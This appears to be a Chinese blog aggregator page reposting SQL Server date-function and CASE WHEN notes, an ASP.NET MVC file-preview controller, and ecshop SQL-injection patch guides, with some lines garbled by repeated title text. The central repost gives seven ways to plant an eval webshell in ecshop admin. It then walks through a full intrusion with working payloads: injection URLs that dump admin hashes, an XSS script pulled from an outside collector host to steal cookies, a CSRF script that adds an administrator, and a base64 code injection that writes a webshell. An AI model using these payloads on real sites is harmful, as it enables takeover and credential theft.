SELECT REPLACE(CONVERT(varchar(10),@dt,120),N’-0′,’-‘)

–2.长日期格式:yyyy年mm月dd日
–A. 方法1
SELECT STUFF(STUFF(CONVERT(char(8),@dt,112),5,0,N’年’),8,0,N’月’)+N’日’
–B. 方法2
SELECT DATENAME(Year,@dt)+N’年’+DATENAME(Month,@dt)+N’月’+DATENAME(Day,@dt)+N’日’

–3.长日期格式:yyyy年m月d日
SELECT DATENAME(Year,@dt)+N’年’+CAST(DATEPART(Month,@dt) AS varchar)+N’月’+DATENAME(Day,@dt)+N’日’

–4.完整日期+时间格式:yyyy-mm-dd hh:mi:ss:mmm
SELECT CONVERT(char(11),@dt,120)+CONVERT(char(12),@dt,114)

2、日期推算处理

DECLARE @dt datetime
SET @dt=GETDATE()

DECLARE @number int
SET @number=3

–1.指定日期该年的第一天或最后一天
–A. 年的第一天
SELECT CONVERT(char(5),@dt,120)+’1-1′

–B. 年的最后一天
SELECT CONVERT(char(5),@dt,120)+’12-31′

–2.指定日期所在季度的第一天或最后一天
–A. 季度的第一天
SELECT CONVERT(datetime,
CONVERT(char(8),
DATEADD(Month,
DATEPART(Quarter,@dt)*3-Month(@dt)-2,
@dt),
120)+’1′)

–B. 季度的最后一天(CASE判断法)
SELECT CONVERT(datetime,
CONVERT(char(8),
DATEADD(Month,
DATEPART(Quarter,@dt)*3-Month(@dt),
@dt),
120)
+CASE WHEN DATEPART(Quarter,@dt) in(1,4)
THEN ’31’ELSE ’30’ END)

–C. 季度的最后一天(直接推算法)
SELECT DATEADD(Day,-1,
CONVERT(char(8),
DATEADD(Month,
1+DATEPART(Quarter,@dt)*3-Month(@dt),
@dt),
120)+’1′)

–3.指定日期所在月份的第一天或最后一天
–A. 月的第一天
SELECT CONVERT(datetime,CONVERT(char(8),@dt,120)+’1′)

–B. 月的最后一天
SELECT DATEADD(Day,-1,CONVERT(char(8),DATEADD(Month,1,@dt),120)+’1′)

–C. 月的最后一天(容易使用的错误方法)
SELECT DATEADD(Month,1,DATEADD(Day,-DAY(@dt),@dt))

–4.指定日期所在周的任意一天
SELECT DATEADD(Day,@number-DATEPART(Weekday,@dt),@dt)

–5.指定日期所在周的任意星期几
–A.  星期天做为一周的第1天
SELECT DATEADD(Day,@number-(DATEPART(Weekday,@dt)+@@DATEFIRST-1)%7,@dt)

–B.  星期一做为一周的第1天
SELECT DATEADD(Day,@number-(DATEPART(Weekday,@dt)+@@DATEFIRST-2)%7-1,@dt)

////////////////////////////////////////////////////////////////////////////////////////////////////

1. 当前系统日期、时间
select getdate()

2. dateadd  在向指定日期加上一段时间的基础上,返回新的 datetime 值
例如:向日期加上2天
select dateadd(day,2,’2004-10-15′) –返回:2004-10-17 00:00:00.000

3. datediff 返回跨两个指定日期的日期和时间边界数。
select datediff(day,’2004-09-01′,’2004-09-18′)   –返回:17

4. datepart 返回代表指定日期的指定日期部分的整数。
select datepart(month, ‘2004-10-15’)  –返回 10

5. datename 返回代表指定日期的指定日期部分的字符串
select datename(weekday, ‘2004-10-15’)  –返回:星期五

6. day(), month(),year() –可以与datepart对照一下

      select 当前日期=convert(varchar(10),getdate(),120),

             当前时间=convert(varchar(8),getdate(),114)

      select datename(dw,’2004-10-15′)

      select 本年第多少周=datename(week,’2004-10-15′),

             今天是周几=datename(weekday,’2004-10-15′)

函数

参数/功能

GetDate( )

 返回系统目前的日期与时间

DateDiff (interval,date1,date2)

 以interval 指定的方式,返回date2 与date1两个日期之间的差值 date2-date1

DateAdd (interval,number,date)

 以interval指定的方式,加上number之后的日期

DatePart (interval,date)

 返回日期date中,interval指定部分所对应的整数值

DateName (interval,date)

 返回日期date中,interval指定部分所对应的字符串名称

参数 interval的设定值如下:

缩 写(SQL Server)

(Access 和 ASP)

说明

Year

Yy

yyyy

年 1753 ~ 9999

Quarter

Qq

q

季 1 ~ 4

Month

Mm

m

月1 ~ 12

Day of year

Dy

y

一年的日数,一年中的第几日 1-366

Day

Dd

d

日,1-31

Weekday

Dw

w

一周的日数,一周中的第几日 1-7

Week

Wk

ww

周,一年中的第几周 0 ~ 51

Hour

Hh

h

时0 ~ 23

Minute

Mi

n

分钟0 ~ 59

Second

Ss

s

秒 0 ~ 59

Millisecond

Ms

毫秒 0 ~ 999

SQL Server中文版的默认的日期字段datetime格式是yyyy-mm-dd Thh:mm:ss.mmm

例如:

select getdate()

2004-09-12 11:06:08.177

整理了一下SQL Server里面可能经常会用到的日期格式转换方法:

举例如下:

select CONVERT(varchar, getdate(), 120 )

2004-09-12 11:06:08

select replace(replace(replace(CONVERT(varchar, getdate(), 120 ),’-‘,”),’ ‘,”),’:’,”)

20040912110608

select CONVERT(varchar(12) , getdate(), 111 )

2004/09/12

select CONVERT(varchar(12) , getdate(), 112 )

20040912

select CONVERT(varchar(12) , getdate(), 102 )

2004.09.12

select CONVERT(varchar(12) , getdate(), 101 )

09/12/2004

select CONVERT(varchar(12) , getdate(), 103 )

12/09/2004

select CONVERT(varchar(12) , getdate(), 104 )

12.09.2004

select CONVERT(varchar(12) , getdate(), 105 )

12-09-2004

select CONVERT(varchar(12) , getdate(), 106 )

12 09 2004

select CONVERT(varchar(12) , getdate(), 107 )

09 12, 2004

select CONVERT(varchar(12) , getdate(), 108 )

11:06:08

select CONVERT(varchar(12) , getdate(), 109 )

09 12 2004 1

select CONVERT(varchar(12) , getdate(), 110 )

09-12-2004

select CONVERT(varchar(12) , getdate(), 113 )

12 09 2004 1

select CONVERT(varchar(12) , getdate(), 114 )

11:06:08.177

sql 中 case when 语法 - 钱途无梁 - 博客园

mikel阅读(825)

来源: sql 中 case when 语法 – 钱途无梁 – 博客园

SQL语言中有没有类似C语言中的switch case的语句??

没有,用case   when   来代替就行了.

例如,下面的语句显示中文年月

select   getdate()   as   日期,case   month(getdate())
when   11   then   ‘十一’
when   12   then   ‘十二’
else   substring(‘一二三四五六七八九十’,   month(getdate()),1)
end+’月’   as   月份

=================================================

CASE 可能是 SQL 中被误用最多的关键字之一。虽然你可能以前用过这个关键字来创建字段,但是它还具有更多用法。例如,你可以在 WHERE 子句中使用 CASE。
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁首先让我们看一下 CASE 的语法。在一般的 SELECT 中,其语法如下:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT <myColumnSpec> =
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁WHEN <A> THEN <somethingA>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁WHEN <B> THEN <somethingB>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ELSE <somethingE>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁在上面的代码中需要用具体的参数代替尖括号中的内容。下面是一个简单的例子:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁USE pubs
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    ‘Price Range’ =
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ORDER BY price
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁这是 CASE 的典型用法,但是使用 CASE 其实可以做更多的事情。比方说下面的 GROUP BY 子句中的 CASE:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT ‘Number of Titles’, Count(*)
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GROUP BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁你甚至还可以组合这些选项,添加一个 ORDER BY 子句,如下所示:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁USE pubs
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END AS Range,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GROUP BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ORDER BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁注意,为了在 GROUP BY 块中使用 CASE,查询语句需要在 GROUP BY 块中重复 SELECT 块中的 CASE 块。
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁除了选择自定义字段之外,在很多情况下 CASE 都非常有用。再深入一步,你还可以得到你以前认为不可能得到的分组排序结果集。

ASP.NET MVC在线预览Excel、Word、TXT、PDF文件 - 秋荷雨翔 - 博客园

mikel阅读(1448)

来源: ASP.NET MVC在线预览Excel、Word、TXT、PDF文件 – 秋荷雨翔 – 博客园

 using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Microsoft.Office.Interop.Excel;
using System.Diagnostics;
using System.IO;
using Microsoft.Office.Interop.Word;

namespace Suya.Web.Apps.Areas.PMP.Controllers
{
///

/// 在线预览Office文件
///

public class OfficeViewController : Controller
{
#region Index页面
///

/// Index页面
///

/// 例:/uploads/......XXX.xls
public ActionResult Index(string url)
{
string physicalPath = Server.MapPath(Server.UrlDecode(url));
string extension = Path.GetExtension(physicalPath);

string htmlUrl = "";
switch (extension.ToLower())
{
case ".xls":
case ".xlsx":
htmlUrl = PreviewExcel(physicalPath, url);
break;
case ".doc":
case ".docx":
htmlUrl = PreviewWord(physicalPath, url);
break;
case ".txt":
htmlUrl = PreviewTxt(physicalPath, url);
break;
case ".pdf":
htmlUrl = PreviewPdf(physicalPath, url);
break;
case ".jpg":
case ".jpeg":
case ".bmp":
case ".gif":
case ".png":
htmlUrl = PreviewImg(physicalPath, url);
break;
default:
htmlUrl = PreviewOther(physicalPath, url);
break;
}

return Redirect(Url.Content(htmlUrl));
}
#endregion

#region 预览Excel
///

/// 预览Excel
///

public string PreviewExcel(string physicalPath, string url)
{
Microsoft.Office.Interop.Excel.Application application = null;
Microsoft.Office.Interop.Excel.Workbook workbook = null;
application = new Microsoft.Office.Interop.Excel.Application();
object missing = Type.Missing;
object trueObject = true;
application.Visible = false;
application.DisplayAlerts = false;
workbook = application.Workbooks.Open(physicalPath, missing, trueObject, missing, missing, missing,
missing, missing, missing, missing, missing, missing, missing, missing, missing);
//Save Excel to Html
object format = Microsoft.Office.Interop.Excel.XlFileFormat.xlHtml;
string htmlName = Path.GetFileNameWithoutExtension(physicalPath) + ".html";
String outputFile = Path.GetDirectoryName(physicalPath) + "\\" + htmlName;
workbook.SaveAs(outputFile, format, missing, missing, missing,
missing, XlSaveAsAccessMode.xlNoChange, missing,
missing, missing, missing, missing);
workbook.Close();
application.Quit();
return Path.GetDirectoryName(Server.UrlDecode(url)) + "\\" + htmlName;
}
#endregion

#region 预览Word
///

/// 预览Word
///

public string PreviewWord(string physicalPath, string url)
{
Microsoft.Office.Interop.Word._Application application = null;
Microsoft.Office.Interop.Word._Document doc = null;
application = new Microsoft.Office.Interop.Word.Application();
object missing = Type.Missing;
object trueObject = true;
application.Visible = false;
application.DisplayAlerts = WdAlertLevel.wdAlertsNone;
doc = application.Documents.Open(physicalPath, missing, trueObject, missing, missing, missing,
missing, missing, missing, missing, missing, missing, missing, missing, missing, missing);
//Save Excel to Html
object format = Microsoft.Office.Interop.Word.WdSaveFormat.wdFormatHTML;
string htmlName = Path.GetFileNameWithoutExtension(physicalPath) + ".html";
String outputFile = Path.GetDirectoryName(physicalPath) + "\\" + htmlName;
doc.SaveAs(outputFile, format, missing, missing, missing,
missing, XlSaveAsAccessMode.xlNoChange, missing,
missing, missing, missing, missing);
doc.Close();
application.Quit();
return Path.GetDirectoryName(Server.UrlDecode(url)) + "\\" + htmlName;
}
#endregion

#region 预览Txt
///

/// 预览Txt
///

public string PreviewTxt(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览Pdf
///

/// 预览Pdf
///

public string PreviewPdf(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览图片
///

/// 预览图片
///

public string PreviewImg(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览其他文件
///

/// 预览其他文件
///

public string PreviewOther(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

}
}

阿里提示ecshop SQL注入漏洞affiliate_ck.php的解决方法 – 游子网络

mikel阅读(1014)

来源: 阿里提示ecshop SQL注入漏洞affiliate_ck.php的解决方法 – 游子网络

漏洞名称:ecshop SQL注入漏洞

补丁文件:admin/affiliate_ck.php

补丁来源:云盾自研

漏洞描述:ecshop的后台编辑文件/admin/affiliate_ck.php中,对输入参数auid未进行正确类型转义,导致整型注入的发生。【注意:该补丁为云盾自研代码修复方案,云盾会根据您当前代码是否符合云盾自研的修复模式进行检测,如果您自行采取了底层/框架统一修复、或者使用了其他的修复方案,可能会导致您虽然已经修复了改漏洞,云盾依然报告存在漏洞,遇到该情况可选择忽略该漏洞提示】

解决方法:

首先找到这个文件/admin/affiliate_ck.php

修复处有2处分别是在代码(31行于51行):

$logdb = get_affiliate_ck();

修改成

$_GET[auid] = intval($_GET[auid]); $logdb = get_affiliate_ck();

修改完后保存上传更新,然后在阿里云点击修复即可。

以上就是游子为各位提供的,阿里云提示:“ecshop SQL注入漏洞”的解决方案!

ECSHOP漏洞集 - xysoul的专栏 - CSDN博客

mikel阅读(1436)

来源: ECSHOP漏洞集 – xysoul的专栏 – CSDN博客

ecshop后台拿shell 个人总结七种方法

最近想弄个ecshop做销售。装好ecshop V2.7.2版本之后,测试后台拿shell。

本人整理给自己看的,大家飘过就好。BY:黑猫

ecshop后台拿shell 个人总结七种方法

一、

系统==>数据库管理==>SQL查询(可爆出物理路径):

==============创建表失败,导不出shell======================

show databases;
use 数据库名;
create a(cmd text not null);
insert into a(cmd) values(‘<?php eval($_POST[cmd]);?>’);
select cmd from a into outfile ‘导出路径’;
drop table if exists a;

==================创建表失败,导不出shell===================

二、

前台留个言,内容是我们的一句话木马:<?php eval($_POST[cmd]);?>

接着在后台系统==>数据库管理==>数据备份==>选择自定义备份,选择ecs_feedback这张表(存放留言的表)

备份文件名:x.php;.SQL (x.php.sql形式出错,菜刀链接不成功)

然后菜刀链接成功

http://www.webshell.cc/data/sqldata/x.php;.sql

三、

1、添加会员,会员名称插入插入一句话 :<?php eval($_POST[cmd]);?> ,其他随便填写。
2、系统==>数据库管理==>数据备份—自定义备份—选“XXX_users”
(其中XXX因各站而异,是数据前缀)
3、备份文件名为mm.php;.sql
4、一句话客户端连接mm.php;.sql,地址一般为 http://www.webshell.cc/data/sqldata/mm.php;.sql

四、

模板管理==>库项目管理==>选择myship.lbi 配送方式。

在文件内容最后面加入一句话代码:<?php eval($_POST[cmd]);?>

菜刀链接http://www.webshell.cc/myship.php 成功。

说明:有些服务器过滤了eval 导致失败。

五、

http://www.webshell.cc/includes/fckeditor/editor/filemanager/connectors/test.html

代码省略
对Media 没有任何限制. 直接 Type=Media 上传 你的 解密webshell
访问路径为

http://www.webshell.cc/images/upload/Media/xxx.php

六、

上传txt 并且没有过滤任何函数.
于是运用到了php的文件操作…
<script language=”php”>$file = file_get_contents(“C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”);
if($file){
$file = “C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”;
$newfile = ‘C:/Inetpub/wwwroot/ecshop/data/distant.php;a.txt’;
copy($file,$newfile);
}</script>

将以上代码插入库项目管理中的myship.ini
打开http://www.webshell.cc/myship.php
即在http://www.webshell.cc/data/目录下生成distant.php;a.txt
菜刀连接之…搞定..

七、

进入后台-系统设置-Flash播放器管理- 直接上传x.php

ecshop V2.7.2 版本已经没有这个选项 ,所以这个已经失效。

本站内容均为原创,转载请务必保留署名与链接!
ecshop后台拿shell 个人总结七种方法:http://www.webshell.cc/1625.html
———————————————————————————————————————————————————————————–
ECSHOP2.7.2入侵全过程

利用的都是一些早就在乌云上爆出来的漏洞,是学校上课做的一个实验,把过程贴出来,第一次尝试写博客,大牛勿喷。

1 Sql注入

1) 目标网站为:http://192.168.238.132/upload/

网站服务器ip:192.168.238.132

管理员的访问网站的电脑ip:192.168.238.1

攻击者ip:192.168.238.129

2)    漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。(参考乌云http://www.wooyun.org/bugs/wooyun-2010-023188 )

在/affiche.php119行有这样一句话

  1. $sql = “INSERT INTO “ .$ecs->table(‘adsense’) . “(from_ad, referer, clicks) VALUES (‘-1’,'” . $site_name . “‘, ‘1’)”;

可以发现$site_name即$_GET[‘from’]存入数据库了

 

而在/admin/adsense.php47-49行又有以下代码

  1. /* 获取当前广告所产生的订单总数 */
  2. $sql2 = ‘SELECT COUNT(order_id) FROM ‘.$ecs->table(‘order_info’). ” WHERE from_ad=’$rows[ad_id]’ ANDreferer=’$rows[referer]'”;
  3. $rows[‘order_num’] =$db->getOne($sql2);

 

可以发现没有再次addslashes导致注入。

 

3)于是我们构造以下两个链接

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20group_concat(user_id,’|’,user_name,’|’,password,’|’,ec_salt)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20’hash_code’%20order%20by%201%20desc%23&ad_id=-1

在浏览器中访问后即把恶意代码插入数据库中了。当管理员访问后台页面时,如图

可以发现当管理员访问该界面时发生了sql注入,管理员的账户密码都可以得到,包括hashcode。

 

可是这个界面只有管理员能够看到,不是管理员要怎么利用呢???

2 xss获得管理员账户密码

4)我们想到要是插入一段js代码,能够获取到当前页面元素的值当然也就可以找到管理员的账户密码了。

在xsser.me上自定义getHtmlText模块获取用户的页面内容

构造以下链接将js插入数据库中

http://192.168.238.132/upload/affiche.php?from=zxq.zxq.zxq%3Cscript%20src=%22http://xss.ownsec.com/fp1qml?1403800658%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

管理员浏览该页面后如图

可以发现已经接收到cookies和账户密码信息,如下图所示

账户密码信息如图

Hashcode如图

 

由于密码的hash值生成方式如下

这样我们得到了账户密码以及salt值,在cmd5网站上解密,因为密码是admin123比较简单,因此cmd5上面可以解出来。但如果密码复杂的话就没办法解密了。

 

5)于是我们寻找更通用的进入后台方式

发现cookies的生成方式如下

只需要把密码的hash值和hashcode的值连接起来进行md5加密即可获得密码,可以构造cookies欺骗。

参考 http://www.2cto.com/Article/201307/232194.html

但我做的时候用构造的cookies一直无法进入后台,不知道为什么不科学啊~

于是采用csrf进入后台

3 xss+csrf添加任意管理员并分配权限

6)我们利用xss与csrf结合进行攻击。

乌云漏洞 http://www.wooyun.org/bugs/wooyun-2010-033159

由于在添加管理员账号时没有token值验证因此可以构造js向后台post数据添加管理员,另外新添加的管理员是没有权限的,后面我们要拿webshell的时候需要用到语言编辑的权限,因此我们再post一个添加权限的数据。

我们的add.js代码如下

  1. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php?act=add’,‘user_name=zzzz&email=zzzz@qq.com&password=123456&pwd_confirm=123456&act=insert’,,“POST”,“JSON”);
  2. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php’,‘action_code[]=lang_edit&id=2&Submit=保存&act=update_allot’,,“POST”,“JSON”);

一个是添加管理员,一个是分配权限

继续构造如下链接,将代码插入数据库中

http://192.168.238.132/upload/affiche.php?from=a.baidu.com%3Cscript%20src=%22http://192.168.238.1/xss/add.js%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

在用户点击之前可以看到此时管理员只有一个

这时如果访问广告js界面,我们刚刚插入的代码就会执行

这时候再次查看管理员,发现已经多了一个管理员,并且拥有语言编辑的权利

权利如下图

Ok至此我们成功拿到后台管理员权限。

4 获取websehll

7)下面使用我们刚才添加的管理员拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。

由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。

查找用户信息

在用户信息后面添加生成一句话木马的代码

  1. ${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}

 

此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中

然后攻击者访问http://192.168.238.132/upload/user.php后代码将会执行,在网站根目录下生成一句话木马test.php。

 

8) 使用菜刀连接我们的一句话木马

可以发现已经成功连接上

9)在根目录下上传木马muma.php

至此成功拿到webshell

后面的提权就不贴出来了。

阿里提示ecshop SQL注入漏洞shophelp.php的解决方法 – 游子网络

mikel阅读(875)

来源: 阿里提示ecshop SQL注入漏洞shophelp.php的解决方法 – 游子网络

漏洞名称:ecshop SQL注入漏洞

补丁文件:/admin/shophelp.php

补丁来源:云盾自研

漏洞描述:ecshop的后台编辑文件/admin/shophelp.php中,对输入参数$_POST[‘id’]未进行正确类型转义,导致整型注入的发生。【注意:该补丁为云盾自研代码修复方案,云盾会根据您当前代码是否符合云盾自研的修复模式进行检测,如果您自行采取了底层/框架统一修复、或者使用了其他的修复方案,可能会导致您虽然已经修复了改漏洞,云盾依然报告存在漏洞,遇到该情况可选择忽略该漏洞提示】

ecshop SQL注入漏洞shophelp.php的解决方法解决方法:

首先找到这个文件/admin/shophelp.php

修复处有4处分别在代码的(81-105-133-155行)

admin_priv('shophelp_manage');

将81-105-133-155行直接替换如下代码:

admin_priv('shophelp_manage'); $_POST['id'] = intval($_POST['id']);

修改完后保存上传更新,然后在阿里云点击修复即可。

以上就是游子为各位提供的,阿里云提示:“ecshop SQL注入漏洞”的解决方案!